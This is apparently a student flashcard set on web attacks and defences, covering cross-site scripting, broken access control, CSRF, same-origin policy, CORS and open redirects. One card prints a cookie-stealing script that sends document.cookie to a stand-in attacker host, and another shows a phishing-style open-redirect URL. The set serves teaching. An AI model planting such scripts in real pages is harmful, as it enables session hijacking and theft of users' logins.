web attacks part 2

Question 1

what is XXS?

Answer 1

inject client - side code into web oages viewed by ther users
attackers trick web application to view malicious code

Question 2

what are the goals of cross site scripting?

Answer 2

display images, open popups
session hijacking : stealing cookies
changes page contents

Question 3

what is the underlying issues with xxs?

Answer 3

input/out[ut validation – never trust user inputs

Question 4

what does xxs stand for

Answer 4

cross site scripting

Question 5

what is stored xxs?

Answer 5

occurs when malicious code in injected in the server side storage, and then code is later showed to the users

e.g Comments on a blog, posts on Facebook etc

Question 6

what is reflected xxs?

Answer 6

Injected malicious code not stored in server but immeaduately displayed on visited page.

Question 7

describe session hijacking with xxs

Answer 7

1)attacker injects script on a server and waits for a victim
2)server passes a session cookies and the attackers script to a visitor
3)script runs the victim’s browser and passes session cookie to attacker
4)attacker passes the stolen cookie making server think he is the victim

Question 8

what does this code do

<script>
document.location.replace(
"http://www.badguy.example/steal.php"
\+ "?what=" + document.cookie)
</script>

Answer 8

session hijacking xxs code

redirects victim’s browser to attackers site, passing cookie

might also pass currently visited web page

Question 9

alternative to xxs?

Answer 9

Alternatively, do a request, load an image, etc

Question 10

what are some methods of xxs protection?

Answer 10

validate user input: only allowing a strict subset of inputs (e.g alphanumeric characters )
output filtering
use HTTP only cookies
Enable content security policy

Question 11

what are the two different types of output filtering in xxs protections

Answer 11

plain output : HTML encoding
marked up output: encoding + domain specific language

Question 12

describe plain output filtering in xxs protections

Answer 12

html encoding:
store data values need to be encoded to represent in HTML

Question 13

describe marked up output filtering in xxs protections

Answer 13

encoding + domain specific language(DSL)
use dedicated syntax and covert into a safe subset of html

Question 14

describe validate user input in xxs protections

Answer 14

only allows a strict subset of characters
(e.g alphanumeric characters )

Question 15

why might validating user input be tricky

Answer 15

have to understand data flow of app
e.g (quoting,encoding,pass to/from functions , databases etc)

Question 16

describe using HTTP only cookies in xxs protections

Answer 16

cookies with http only flag not accessible though javascript , preventing theft through document.cookies

Question 17

describe using Enable Content Security Policy (CSP) in xxs protections

Answer 17

A strict CSP can prevent inline scripts and can limit which domains can be requested.

Question 18

broken access control: object references: path traversal
what does this do?

https://myblog.org/index.php?entry=2025-03-17.html

Answer 18

The file index.php :
* reads a plain HTML file (2025-03-17.html )
* wraps it with navigation links, site style

Question 19

broken access control: object references: path traversal
what does this do?

Answer 19

• remote users can potentially visit any file on the system!
• mistake motivates defence-in-depth:
• http server should not serve just any file
• use internal web server config (separate apps)
• and external OS config (e.g. nobody user, chroot)
• use of allow-lists (filter inputs against known, safe options)
• ⚠ A well-written app should only allow access to its own resources.
  16

Question 20

what are the solutions to broken access control: object references

Answer 20

revalidate
check authorisation again
obvious solution but doubles effort

add a data indirection:
session specific server side array of account numbers
use databases/hashtables

Question 21

what is BAC object references: Too much information

Answer 21

passign potentially unesscessary information to client and expecting it unmodified.

Question 22

how to make sure information is protected in BAC object references

Answer 22

MAC constructed with server side secret key to make sure info stays unmodified

Question 23

BAC object references
how to prevent unauthorised users from visiting a site even when you hid the link

Answer 23

Advice:
* Manage authorisation in a separate module
* have a single route through code
* can trace to make sure authorisation happens
* Make authorisation checks for each function
* Use deny-by-default policy

Question 24

Describe BAC : CRSF

Answer 24

Exploits browser’s trust relationship with a website (e.g., an existing login)
* local intranet website (home router admin, …)
* banking or email site user is logged into
* browser is authorised to connect here

Attacker triggers malicious action
get user to open malicious link
browser undertakes action on target site on behalf of authorised user

Question 25

protections or BAC:CRSF

Answer 25

Do not use GET for any (sensitive) state change, but not enough (as seen in demo) * Use a framework that has built-in protection * Using a double cookie trick * Set a secure secret session ID in a cookie * Submit it in cookie and hidden field on form * Server-side check if fields are identica * Use a special CSRF token in POST * Secure random number (challenge) for each login * Send this with POST and check server-side

Question 26

what is same origin policy

Answer 26

The same-origin policy is a now standard browser-side mechanism to protect simultaneously running web applications from one another. It restricts access to: * DOM (i.e., representation of the document) * APIs for web access (XMLHttpRequest) * Cookies, HTML5 local storage APIs to pages from the same domain, i.e., protocol-host-port. Browser sandboxing enhances this (e.g., in most modern browsers, separate tabs/frames run in separate processes)

Question 27

describe access control

Answer 27

Modern web applications use JavaScript APIs like fetch and XMLHttpRequest to send and receive data asynchronously. * The Same-origin Policy restricts JavaScript from making requests to a different origin than the page itself, preventing unauthorised access to sensitive data. * However, the Same-origin Policy is too restrictive for legitimate cases, such as APIs or third-party services. * CORS (Cross-Origin Resource Sharing) was introduced as a standardised mechanism to relax the Same- origin Policy securely. * CORS works by allowing servers to specify permitted origins using special HTTP headers, e.g.: Access-Control-Allow-Origin: http://www.example.com or Access-Control-Allow-Origin: *

Question 28

how to make sure deployment is successful

Answer 28

The whole web app stack must be secured! * Make sure up-to-date w.r.t. security patches * OS, Web/App Server, DBMS, app framework, libs... * Disable unnecessary features * Default accounts, demo pages, debug interfaces * Use minimum privilege * Separate concerns, ACLs per component/app * Ensure error handling does not expose info * Have a repeatable security config process * An app-specific checklist to work through * Uniform config for development, QA, deployment * Have a automated checking process * Ensure configuration security

Question 29

describe redirects

Answer 29

Unvalidated redirects and forwards * Web apps often allow redirections which * send users off-site with a polite message * reroute them immediately http://www.example.com/redirect.jsp?url=www.disney.com * or forwards which * redirect internally to different parts of the same site http://www.example.com/login.jsp?fwd=admin.jsp

Question 30

describe unvalidated urls

Answer 30

Attackers can craft URLs that fool users: * www.example.com/redirect.jsp?url=www.evilhacker.com * These kind of open redirect links are favourites for phishing attacks, especially as ultimate destinations can be concealed in URL encodings. * However, this may not directly harm www.example.com . * So, preventing open redirects is a typical example of a community-wide desirable security measure (like older cases in network security: open mail relays, ICMP broadcast, etc.): good practice of all provides security for others.